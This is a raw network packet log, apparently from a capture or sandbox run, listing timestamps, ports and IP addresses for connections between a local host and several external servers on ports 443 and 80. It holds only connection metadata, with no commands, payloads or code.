Nov 12, 2024 08:30:31.231553078 CET	443	49791	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.234258890 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.234302044 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.234354973 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.234503031 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.234518051 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.264002085 CET	443	49790	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.264235020 CET	443	49790	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.264307022 CET	49790	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.264432907 CET	49790	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.264432907 CET	49790	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.264461994 CET	443	49790	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.264482975 CET	443	49790	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.268048048 CET	49814	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.268065929 CET	443	49814	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.268119097 CET	49814	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.268286943 CET	49814	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.268295050 CET	443	49814	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.325234890 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.325258017 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.325304031 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.325311899 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.329454899 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.329530001 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.329536915 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.338712931 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.338776112 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.338783979 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.347760916 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.347975016 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.347982883 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.356683969 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.356740952 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.356748104 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.365782976 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.365837097 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.365843058 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.442235947 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.442281008 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.442290068 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.442301035 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.442341089 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.442471981 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.449512005 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.449583054 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.449588060 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.454075098 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.454117060 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.454119921 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.463092089 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.463136911 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.463144064 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.472184896 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.472229958 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.472237110 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.481223106 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.481276035 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.481281996 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.490250111 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.490299940 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.490305901 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.499349117 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.499416113 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.499420881 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.508445024 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.508491993 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.508498907 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.517462015 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.517535925 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.517540932 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.525960922 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.526007891 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.526016951 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.545006037 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.545068026 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.545072079 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.545253992 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.545306921 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.545310974 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.557418108 CET	443	49792	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:31.557491064 CET	49792	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:31.560508966 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.560540915 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.560555935 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.560561895 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.560638905 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.560642004 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.565855026 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.565896988 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.565901995 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.574250937 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.574295998 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.574302912 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.574311018 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.574347973 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.578831911 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.584247112 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.584290028 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.584336996 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.584342957 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.584378958 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.589210033 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.594218016 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.594264030 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.594274044 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.594280005 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.594315052 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.599303007 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.604157925 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.604198933 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.604202986 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.619209051 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.619249105 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.619277954 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.619283915 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.619328976 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.619381905 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.619421959 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.619466066 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.619469881 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.625530005 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.625579119 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.625582933 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.634991884 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.635036945 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.635040045 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.643230915 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.643271923 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.643275976 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.651036024 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.651104927 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.651109934 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.658797979 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.658837080 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.658840895 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.666872978 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.666913033 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.666917086 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.676979065 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.677609921 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.677671909 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.677676916 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.677722931 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.682409048 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.691184998 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.691252947 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.691293955 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.691340923 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.691351891 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.691359043 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.700344086 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.700398922 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.700404882 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.701076031 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.701116085 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.701119900 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.708683968 CET	49792	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:31.708703041 CET	443	49792	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:31.708987951 CET	443	49792	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:31.710977077 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.711014032 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.711018085 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.711119890 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.711158991 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.711163044 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.711680889 CET	49792	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:31.711714029 CET	49792	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:31.711751938 CET	443	49792	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:31.714834929 CET	443	49803	18.244.18.38	192.168.2.5
Nov 12, 2024 08:30:31.715040922 CET	49803	443	192.168.2.5	18.244.18.38
Nov 12, 2024 08:30:31.715049982 CET	443	49803	18.244.18.38	192.168.2.5
Nov 12, 2024 08:30:31.716065884 CET	443	49803	18.244.18.38	192.168.2.5
Nov 12, 2024 08:30:31.716124058 CET	49803	443	192.168.2.5	18.244.18.38
Nov 12, 2024 08:30:31.717010975 CET	49803	443	192.168.2.5	18.244.18.38
Nov 12, 2024 08:30:31.717078924 CET	443	49803	18.244.18.38	192.168.2.5
Nov 12, 2024 08:30:31.724313021 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.724343061 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.724363089 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.724369049 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.724399090 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.724466085 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.725848913 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.725873947 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.725882053 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.725886106 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.726067066 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.726243019 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.726264954 CET	443	49787	172.217.18.1	192.168.2.5
Nov 12, 2024 08:30:31.726317883 CET	49787	443	192.168.2.5	172.217.18.1
Nov 12, 2024 08:30:31.798674107 CET	443	49805	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.799449921 CET	49805	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.799468040 CET	443	49805	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.800251007 CET	49805	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.800255060 CET	443	49805	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.903202057 CET	49803	443	192.168.2.5	18.244.18.38
Nov 12, 2024 08:30:31.903250933 CET	443	49803	18.244.18.38	192.168.2.5
Nov 12, 2024 08:30:31.935067892 CET	443	49805	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.935148954 CET	443	49805	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.935236931 CET	49805	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.935547113 CET	49805	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.935560942 CET	443	49805	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.935570955 CET	49805	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.935576916 CET	443	49805	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.938745022 CET	49817	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.938786983 CET	443	49817	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.938844919 CET	49817	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.939101934 CET	49817	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.939120054 CET	443	49817	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.941915989 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.943377972 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.943389893 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.943789959 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.943794012 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.958826065 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.959522009 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.959557056 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.960036039 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.960045099 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.983517885 CET	443	49814	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.983985901 CET	49814	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.984006882 CET	443	49814	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.984612942 CET	49814	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.984616995 CET	443	49814	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.995368958 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.996951103 CET	49803	443	192.168.2.5	18.244.18.38
Nov 12, 2024 08:30:31.997008085 CET	443	49803	18.244.18.38	192.168.2.5
Nov 12, 2024 08:30:31.997054100 CET	49803	443	192.168.2.5	18.244.18.38
Nov 12, 2024 08:30:31.999418020 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.999430895 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:31.999913931 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:31.999919891 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.072761059 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.073013067 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.073064089 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.074240923 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.074255943 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.074264050 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.074269056 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.080607891 CET	49822	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.080641031 CET	443	49822	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.080713034 CET	49822	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.083180904 CET	49822	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.083193064 CET	443	49822	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.087929010 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.088018894 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.088208914 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.088280916 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.088300943 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.088320017 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.088326931 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.092003107 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.092032909 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.092217922 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.092338085 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.092344046 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.106024981 CET	443	49792	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:32.110451937 CET	443	49814	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.110507011 CET	443	49814	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.110573053 CET	49814	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.110740900 CET	49814	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.110754967 CET	443	49814	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.110795975 CET	49814	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.110800982 CET	443	49814	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.113234997 CET	49824	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.113259077 CET	443	49824	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.113392115 CET	49824	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.113687038 CET	49824	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.113698959 CET	443	49824	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.131012917 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.131432056 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.131493092 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.131505966 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.131510973 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.131520033 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.131524086 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.136112928 CET	49825	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.136147976 CET	443	49825	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.136205912 CET	49825	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.136375904 CET	49825	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.136392117 CET	443	49825	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.218116999 CET	443	49792	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:32.218178988 CET	49792	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:32.251524925 CET	49792	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:32.251554012 CET	443	49792	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:32.251581907 CET	49792	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:32.251590014 CET	443	49792	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:32.348099947 CET	49826	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:32.348145008 CET	443	49826	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:32.348201990 CET	49826	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:32.351569891 CET	49826	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:32.351592064 CET	443	49826	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:32.381711960 CET	49827	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:32.381747961 CET	443	49827	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:32.381810904 CET	49827	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:32.382107973 CET	49828	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:32.382153034 CET	443	49828	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:32.382200956 CET	49828	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:32.386894941 CET	49828	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:32.386909008 CET	443	49828	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:32.387144089 CET	49827	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:32.387171984 CET	443	49827	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:32.403522968 CET	49829	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:32.403553963 CET	443	49829	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:32.403636932 CET	49829	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:32.414338112 CET	49829	443	192.168.2.5	172.64.41.3
Nov 12, 2024 08:30:32.414357901 CET	443	49829	172.64.41.3	192.168.2.5
Nov 12, 2024 08:30:32.604490042 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:32.604635000 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:32.665195942 CET	443	49817	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.700155020 CET	49817	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.700189114 CET	443	49817	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.700993061 CET	49817	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.701009035 CET	443	49817	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.726185083 CET	49830	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:32.726232052 CET	443	49830	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:32.726391077 CET	49830	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:32.728900909 CET	49830	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:32.728914976 CET	443	49830	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:32.816675901 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:32.818219900 CET	443	49822	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.819417953 CET	49822	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.819454908 CET	443	49822	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.819967985 CET	49822	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.819972992 CET	443	49822	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.821432114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:32.821799994 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.823884964 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.823908091 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.824393988 CET	49823	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.824399948 CET	443	49823	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.826121092 CET	443	49817	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.826531887 CET	443	49817	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.826634884 CET	49817	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.827640057 CET	49817	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.827656984 CET	443	49817	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.827667952 CET	49817	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.827673912 CET	443	49817	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.831578016 CET	49831	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:32.831605911 CET	443	49831	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:32.831684113 CET	49831	443	192.168.2.5	13.107.246.45
